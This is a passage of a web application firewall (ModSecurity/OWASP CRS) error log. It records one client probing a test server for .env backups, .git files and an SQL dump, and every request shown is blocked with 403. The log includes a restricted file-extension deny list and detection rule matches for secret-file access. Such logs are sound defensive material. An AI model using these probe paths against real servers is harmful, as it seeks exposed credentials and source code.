&quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6WwAAAAE&quot;]
[Sun Jun 29 20:23:19.325411 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6WwAAAAE&quot;]
[Sun Jun 29 20:23:19.325574 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6WwAAAAE&quot;]
[Sun Jun 29 20:23:19.378421 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6XQAAAAE&quot;]
[Sun Jun 29 20:23:19.378664 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6XQAAAAE&quot;]
[Sun Jun 29 20:23:19.378873 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6XQAAAAE&quot;]
[Sun Jun 29 20:23:19.414981 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.bak&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6XgAAAAE&quot;]
[Sun Jun 29 20:23:19.415128 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.bak&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6XgAAAAE&quot;]
[Sun Jun 29 20:23:19.415347 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.bak&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6XgAAAAE&quot;]
[Sun Jun 29 20:23:19.415523 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.bak&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6XgAAAAE&quot;]
[Sun Jun 29 20:23:19.437333 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.local&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6XwAAAAE&quot;]
[Sun Jun 29 20:23:19.437583 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.local&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6XwAAAAE&quot;]
[Sun Jun 29 20:23:19.437768 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.local&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6XwAAAAE&quot;]
[Sun Jun 29 20:23:19.462689 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.old&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6YAAAAAE&quot;]
[Sun Jun 29 20:23:19.462836 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.old&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6YAAAAAE&quot;]
[Sun Jun 29 20:23:19.463053 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.old&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6YAAAAAE&quot;]
[Sun Jun 29 20:23:19.463251 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.old&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6YAAAAAE&quot;]
[Sun Jun 29 20:23:19.516172 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.save&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6YQAAAAE&quot;]
[Sun Jun 29 20:23:19.516401 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.save&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6YQAAAAE&quot;]
[Sun Jun 29 20:23:19.516596 2025] [:error] [pid 2967919] [client 185.177.72.107:12082] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.save&quot;] [unique_id &quot;aGGEl3tTxOj9v32ojom6YQAAAAE&quot;]
[Sun Jun 29 20:23:30.950053 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/&quot;] [unique_id &quot;aGGEoqAIGT5SiqI9BxP-fwAAAAc&quot;]
[Sun Jun 29 20:23:30.950316 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/&quot;] [unique_id &quot;aGGEoqAIGT5SiqI9BxP-fwAAAAc&quot;]
[Sun Jun 29 20:23:30.951028 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/&quot;] [unique_id &quot;aGGEoqAIGT5SiqI9BxP-fwAAAAc&quot;]
[Sun Jun 29 20:23:30.989194 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/HEAD&quot;] [unique_id &quot;aGGEoqAIGT5SiqI9BxP-gAAAAAc&quot;]
[Sun Jun 29 20:23:30.989439 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/HEAD&quot;] [unique_id &quot;aGGEoqAIGT5SiqI9BxP-gAAAAAc&quot;]
[Sun Jun 29 20:23:30.989623 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/HEAD&quot;] [unique_id &quot;aGGEoqAIGT5SiqI9BxP-gAAAAAc&quot;]
[Sun Jun 29 20:23:31.071026 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;aGGEo6AIGT5SiqI9BxP-gQAAAAc&quot;]
[Sun Jun 29 20:23:31.071391 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;aGGEo6AIGT5SiqI9BxP-gQAAAAc&quot;]
[Sun Jun 29 20:23:31.071635 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;aGGEo6AIGT5SiqI9BxP-gQAAAAc&quot;]
[Sun Jun 29 20:23:31.228214 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/logs/HEAD&quot;] [unique_id &quot;aGGEo6AIGT5SiqI9BxP-ggAAAAc&quot;]
[Sun Jun 29 20:23:31.228465 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/logs/HEAD&quot;] [unique_id &quot;aGGEo6AIGT5SiqI9BxP-ggAAAAc&quot;]
[Sun Jun 29 20:23:31.228686 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/logs/HEAD&quot;] [unique_id &quot;aGGEo6AIGT5SiqI9BxP-ggAAAAc&quot;]
